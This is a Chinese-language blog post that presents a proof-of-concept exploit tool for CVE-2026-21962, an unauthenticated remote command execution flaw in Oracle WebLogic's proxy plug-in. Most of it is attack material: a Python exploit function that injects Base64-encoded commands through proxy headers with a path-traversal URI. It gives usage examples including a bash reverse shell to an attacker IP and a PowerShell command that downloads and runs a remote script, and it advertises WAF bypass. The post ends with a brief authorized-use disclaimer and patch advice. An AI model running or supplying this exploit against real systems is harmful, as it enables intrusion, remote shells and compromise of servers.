跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Pythonjava

Oracle WebLogic 代理插件未授权 RCE 漏洞检测与分析

介绍针对 Oracle WebLogic Server 代理插件的 CVE-2026-21962 漏洞检测工具。该漏洞允许未授权远程命令执行(RCE),风险等级高。文章涵盖项目描述、功能特性、安装指南及核心代码解析。强调仅限授权测试,建议及时更新补丁并限制网络访问。

清心发布于 2026/4/5更新于 2026/9/871 浏览

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对 Oracle WebLogic Server 代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过 HTTP 协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件:

  • Oracle HTTP Server(版本 12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server 代理插件(用于 Apache HTTP Server 和 Microsoft IIS)

功能特性

核心功能
  • 自动漏洞检测:通过多种常见路径(/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload 编码:自动对 Payload 进行 Base64 编码,以绕过某些 WAF/过滤器
  • 多种攻击向量:支持通过不同 HTTP 头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入 Payload
高级特性
  • 跨平台支持:兼容 Linux/Unix 和 Windows 目标系统
  • 灵活 Payload:支持执行简单命令、复杂 Shell 脚本或 PowerShell 命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制
检测能力
  • 支持通过 HTTP 状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求
  • Python 3.x:确保系统已安装 Python 3
  • 依赖库:需要安装 requests 库
  • 操作系统:支持 Linux、macOS 和 Windows
安装步骤

设置执行权限(可选)

chmod +x CVE-2026-21962.py 

安装 Python 依赖

pip install requests 

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git
cd Ashwesker-CVE-2026-21962 
验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help 

如果看到帮助信息,说明安装成功。

使用说明

基础使用
基本语法
python3 CVE-2026-21962.py <target_url> "<command>"
参数说明
  • target_url:目标服务器的 URL(例如:http://target:7001 或 https://oracle-server:4443)
  • command:要执行的命令(例如:id、whoami或反向 Shell 命令)
使用示例
1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向 Shell(Linux 目标)

首先在攻击机启动监听:

nc -lvnp 4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows 目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
输出说明
  • 成功迹象:HTTP 状态码为 200、302 或 500
  • 命令输出:如果命令有输出,会显示前 1500 个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示
注意事项
  1. 目标端口:通常 WebLogic 服务运行在 7001 端口,HTTPS 服务可能运行在 4443 端口
  2. SSL 证书:对于自签名证书的目标,可能需要禁用 SSL 验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF 绕过:使用 Base64 编码和多种 HTTP 头尝试绕过防护

核心代码

主漏洞利用函数
def exploit(target_url, command):
    # 漏洞利用端点(常见代理插件路径)
    vuln_paths = ["/weblogic/", "/wl_proxy/", "/bea_wls_internal/", "/_proxy/", "/proxy/"]
    
    # 构造触发反序列化/命令注入的恶意头部
    # 实际触发使用特制的 WL-Proxy-Client-IP 或类似头部
    # 结合绕过验证的特制 URI
    payload = f"cmd:{command}"
    
    # Base64 编码 Payload 以绕过 WAF/过滤器
    encoded_payload = base64.b64encode(payload.encode()).decode()
    
    # 构造恶意 HTTP 头部
    headers = {
        "WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
        "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
        "Accept": "*/*",
        "Connection": "close"
    }
    
    # 触发插件漏洞的特制 URI
    uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"
    
    # 尝试所有可能的漏洞路径
    for base_path in vuln_paths:
        full_url = f"{target_url.rstrip('/')}{base_path}{uri}"
        print(f"[*] 尝试路径:{full_url}")
        print(f"[*] 执行命令:{command}")
        try:
            # 使用 GET 请求,某些配置下 POST 也可用
            r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)
            # 根据 HTTP 状态码判断是否成功
            if r.status_code in [200, 302, 500]:
                print(f"[+] 可能成功!状态码:{r.status_code}")
                if r.text.strip():
                    print("\n可能的命令输出/响应:\n" + "-" * 60)
                    print(r.text[:1500]) # 显示前 1500 字符避免信息过多
                    print("-" * 60)
                else:
                    print("[+] 命令静默执行(无输出)")
                return True
            else:
                print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")
        except Exception as e:
            print(f"[-] 路径 {full_url} 错误:{e}")
    
    print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")
    return False
命令行参数解析
if __name__ == "__main__":
    # 创建参数解析器
    parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
    # 目标 URL 参数
    parser.add_argument("target", help="目标 URL (例如 http://target:7001 或 https://oracle-server:4443)")
    # 命令参数
    parser.add_argument("cmd", help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者 IP/4444 0>&1')")
    # 解析参数并执行漏洞利用
    args = parser.parse_args()
    exploit(args.target, args.cmd)
漏洞检测逻辑
# 漏洞检测的核心逻辑
# 1. 构造包含恶意命令的 Payload
# 2. 使用 Base64 编码绕过基本防护
# 3. 通过多个 HTTP 头部字段注入 Payload
# 4. 使用路径遍历技术访问代理 Servlet
# 5. 分析响应判断漏洞是否存在
# 关键点:
# - 使用分号分隔 IP 地址和命令 Payload
# - 尝试多个可能的代理插件路径
# - 支持 HTTP 和 HTTPS 协议
# - 包含完善的超时和错误处理
安全注意事项
# 重要安全提示:
# 1. 此工具仅用于授权的安全测试
# 2. 在非授权系统上使用是非法的
# 3. 使用前需获得明确书面授权
# 4. 遵守所有适用法律法规
# 技术建议:
# 1. 及时应用 Oracle 2026 年 1 月关键补丁更新
# 2. 限制对受影响服务的网络访问
# 3. 监控 HTTP 流量中的可疑行为
# 4. 定期审查系统日志和安全控制措施
版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有 PoC 代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。

目录

  1. CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE
  2. 项目描述
  3. 功能特性
  4. 核心功能
  5. 高级特性
  6. 检测能力
  7. 安装指南
  8. 环境要求
  9. 安装步骤
  10. 验证安装
  11. 使用说明
  12. 基础使用
  13. 基本语法
  14. 参数说明
  15. 使用示例
  16. 1. 基本信息收集
  17. 2. 获取文件系统信息
  18. 3. 反向 Shell(Linux 目标)
  19. 4. Windows 目标利用
  20. 输出说明
  21. 注意事项
  22. 核心代码
  23. 主漏洞利用函数
  24. 命令行参数解析
  25. 漏洞检测逻辑
  26. 漏洞检测的核心逻辑
  27. 1. 构造包含恶意命令的 Payload
  28. 2. 使用 Base64 编码绕过基本防护
  29. 3. 通过多个 HTTP 头部字段注入 Payload
  30. 4. 使用路径遍历技术访问代理 Servlet
  31. 5. 分析响应判断漏洞是否存在
  32. 关键点:
  33. - 使用分号分隔 IP 地址和命令 Payload
  34. - 尝试多个可能的代理插件路径
  35. - 支持 HTTP 和 HTTPS 协议
  36. - 包含完善的超时和错误处理
  37. 安全注意事项
  38. 重要安全提示:
  39. 1. 此工具仅用于授权的安全测试
  40. 2. 在非授权系统上使用是非法的
  41. 3. 使用前需获得明确书面授权
  42. 4. 遵守所有适用法律法规
  43. 技术建议:
  44. 1. 及时应用 Oracle 2026 年 1 月关键补丁更新
  45. 2. 限制对受影响服务的网络访问
  46. 3. 监控 HTTP 流量中的可疑行为
  47. 4. 定期审查系统日志和安全控制措施
  48. 版本兼容性

更多推荐文章

查看全部
  • Rust 复合类型高级用法:结构体、枚举与模式匹配
  • SpringAI 通过 Ollama 本地部署 Deepseek 模型实现对话机器人
  • 程序员转行大模型领域:热门岗位与学习路径解析
  • 27 岁自学 Python 转行可行性与入行时机分析
  • GitHub Copilot 接入第三方 OpenAI 兼容模型方法
  • weiciyuan 主题切换功能:实现日间/夜间模式切换的技术方案
  • 大模型本地部署:在 Mac 上运行 AI 大模型
  • 前端大文件分片上传实现与断点续传方案
  • Python 使用 Turtle 库绘制动态彩色爱心动画
  • Win10 里关闭 Microsoft 365 Copilot 弹窗的几种办法
  • 基于 OpenHarmony 的 Flutter 智能家居应用开发实战
  • Visual C++ Redistributable 运行库缺失与损坏修复指南
  • AI 绘画在商业设计中的应用与版权探讨
  • 攻防世界 Web 题解:SQL 注入与文件包含漏洞分析
  • MCP+Skill 驱动的前端 JS 逆向自动化方案与工具实现
  • PyCharm 安装配置与使用指南
  • Java Servlet 核心原理与 Spring Boot 实战指南
  • 前端地图基本操作控制:平移、缩放、旋转及样式切换
  • C++ 伸展树与红黑树原理及实现
  • LeetCode 20. 有效的括号(栈结构详解)
  • 相关免费在线工具

    • Keycode 信息

      查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

    • Escape 与 Native 编解码

      JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

    • JavaScript / HTML 格式化

      使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

    • JavaScript 压缩与混淆

      Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online

    • curl 转代码

      解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

    • Base64 字符串编码/解码

      将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online